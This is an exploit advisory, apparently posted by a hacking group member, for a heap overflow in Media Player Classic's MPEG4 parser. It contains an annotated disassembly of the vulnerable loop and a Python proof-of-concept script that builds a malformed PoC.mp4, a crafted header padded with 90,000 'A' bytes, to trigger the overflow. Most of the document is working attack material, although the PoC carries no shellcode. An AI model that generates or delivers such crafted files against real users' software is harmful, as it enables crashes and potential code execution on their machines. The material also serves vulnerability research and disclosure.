# Title : Media player Classic .MPEG4 Heap overflow Vulnerability # Auther : Senator of Pirates (Khalil Zhani) # FaceBook : /SenatorofPiratesInfo # E-Mail : Senator.of.Pirates.team[at]gmail.com # Greeting : To my best friend Mr. Marshal Webb bug : ---- The vulnerability is caused due to an heap overflow error, in sub_009F76B0 function there is loop which if the lenght size was individual value like 0x1D the loop will continues and then overflow will happen. 009F76B0 /$ 6A FF PUSH -1 009F76B2 |. 68 9372D000 PUSH mpc-hc.00D07293 009F76B7 |. 64:A1 00000000 MOV EAX,DWORD PTR FS:[0] 009F76BD |. 50 PUSH EAX 009F76BE |. 53 PUSH EBX 009F76BF |. 55 PUSH EBP 009F76C0 |. 56 PUSH ESI 009F76C1 |. 57 PUSH EDI 009F76C2 |. A1 7007DC00 MOV EAX,DWORD PTR DS:[DC0770] 009F76C7 |. 33C4 XOR EAX,ESP 009F76C9 |. 50 PUSH EAX 009F76CA |. 8D4424 14 LEA EAX,DWORD PTR SS:[ESP+14] 009F76CE |. 64:A3 00000000 MOV DWORD PTR FS:[0],EAX 009F76D4 |. 8B6C24 30 MOV EBP,DWORD PTR SS:[ESP+30] 009F76D8 |. 8B7C24 24 MOV EDI,DWORD PTR SS:[ESP+24] 009F76DC |. 8B4424 2C MOV EAX,DWORD PTR SS:[ESP+2C] 009F76E0 |. 8B5C24 28 MOV EBX,DWORD PTR SS:[ESP+28] # length size 8 bits ... 009F773D |. 8B4424 2C MOV EAX,DWORD PTR SS:[ESP+2C] 009F7741 |. 83C3 F0 ADD EBX,-10 # length size 8 bits -10 009F7744 |. 83D0 FF ADC EAX,-1 009F7747 |. 8BCB MOV ECX,EBX 009F7749 |. 0BC8 OR ECX,EAX 009F774B |. 894424 2C MOV DWORD PTR SS:[ESP+2C],EAX 009F774F |. 74 45 JE SHORT mpc-hc.009F7796 009F7751 |> 8B55 00 /MOV EDX,DWORD PTR SS:[EBP] # beginning of loop ; mpc-hc.004F9DA4 009F7754 |. 8B52 18 |MOV EDX,DWORD PTR DS:[EDX+18] 009F7757 |. 8D4424 30 |LEA EAX,DWORD PTR SS:[ESP+30] 009F775B |. 50 |PUSH EAX 009F775C |. 8BCD |MOV ECX,EBP 009F775E |. FFD2 |CALL EDX 009F7760 |. 8B46 08 |MOV EAX,DWORD PTR DS:[ESI+8] 009F7763 |. 40 |INC EAX 009F7764 |. 3B46 04 |CMP EAX,DWORD PTR DS:[ESI+4] 009F7767 |. 76 09 |JBE SHORT mpc-hc.009F7772 009F7769 |. E8 82DAFFFF |CALL mpc-hc.009F51F0 009F776E |. 85C0 |TEST EAX,EAX 009F7770 |. 75 10 |JNZ SHORT mpc-hc.009F7782 009F7772 |> 8B4E 08 |MOV ECX,DWORD PTR DS:[ESI+8] 009F7775 |. 8B56 0C |MOV EDX,DWORD PTR DS:[ESI+C] 009F7778 |. 8B4424 30 |MOV EAX,DWORD PTR SS:[ESP+30] 009F777C |. 89048A |MOV DWORD PTR DS:[EDX+ECX*4],EAX # overflows 009F777F |. FF46 08 |INC DWORD PTR DS:[ESI+8] 009F7782 |> 8B4424 2C |MOV EAX,DWORD PTR SS:[ESP+2C] 009F7786 |. 83C3 FC |ADD EBX,-4 # length size 8 bits -10 (here the reason of bug if the value is individual 0x1D) 009F7789 |. 83D0 FF |ADC EAX,-1 009F778C |. 8BCB |MOV ECX,EBX 009F778E |. 0BC8 |OR ECX,EAX 009F7790 |. 894424 2C |MOV DWORD PTR SS:[ESP+2C],EAX 009F7794 |.^75 BB \JNZ SHORT mpc-hc.009F7751 # end of loop PoC : ---- poc = ("\x00\x00\x00\x1D\x66\x74\x79\x70\x6D\x70\x34\x32\x00\x00\x00\x00\x69\x73\x6F\x6D\x61\x76" "\x63\x31\x6D\x70\x34\x32\x00\x01\xAA\x71\x6D\x6F\x6F\x76\x00\x00\x00\x6C\x6D\x76\x68\x64" "\x00\x00\x00\x00\xC4\x92\x34\x4F\xC4\x92\x34\x4F\x00\x00\x02\x58\x00\x02\xFB\xAC\x00\x01" "\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x15\x69\x6F\x64\x73\x00\x00" "\x00\x00\x10\x07\x00\x4F\xFF\xFF\x29\x15\xFF\x00\x00\xE7\x91\x74\x72\x61\x6B\x00\x00\x00" "\x5C\x74\x6B\x68\x64\x00\x00\x00\x01\xC4\x92\x34\x4F\xC4\x92\x34\x50\x00\x00\x00\x01\x00" "\x00\x00\x00\x00\x02\xFB\xA5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00" "\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\xE7\x2D\x6D\x64\x69\x61\x00\x00\x00\x20\x6D\x64\x68\x64\x00\x00\x00\x00\xC4" "\x92\x34\x4F\xC4\x92\x34\x50\x00\x00\xAC\x44\x00\xDB\x40\x00\x55\xC4\x00\x00\x00\x00\x00" "\x42\x68\x64\x6C\x72\x00\x00\x00\x00\x00\x00\x00\x00\x73\x6F\x75\x6E\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00"); poc += "\x41" * 90000 try: A = open("PoC.mp4","wb") A.write(poc) A.close() print "[*] The file created [*]" except: print "[*] Error while creating file [*]" print "[*] Enter to continue.. [*]" raw_input()